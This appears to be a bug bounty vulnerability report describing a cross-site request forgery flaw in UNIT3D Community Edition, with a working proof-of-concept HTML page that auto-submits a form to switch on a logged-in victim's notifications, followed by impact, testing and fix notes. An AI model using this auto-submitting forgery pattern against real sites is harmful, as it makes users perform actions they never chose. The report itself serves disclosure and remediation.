Cross-Site Request Forgery (CSRF) in hdinnovations/unit3d-community-edition
Valid
Reported on
Aug 4th 2021
✍️ Description
Attacker is able to enable a user notification if a logged in user visits attacker website.
🕵️♂️ Proof of Concept
- when you logged in open this
POC.html
in a browser - you can check your notification is enable
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://unit3d.site/users/UNIT3D/settings/notification/enable">
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
💥 Impact
This vulnerability is capable of forging user to unintentional enable notification.
💥 Test
Tested on Edge, firefox, chrome and safari.
💥 Fix
You should set a CSRF token on such GET requests or you can use POST instead of GET then because of cookie SameSite is Lax, request from other origins could not carry cookie.
Occurrences
We have contacted a member of the
hdinnovations/unit3d-community-edition
team and are waiting to hear back
2 years ago
web.php#L327
has been validated
to join this conversation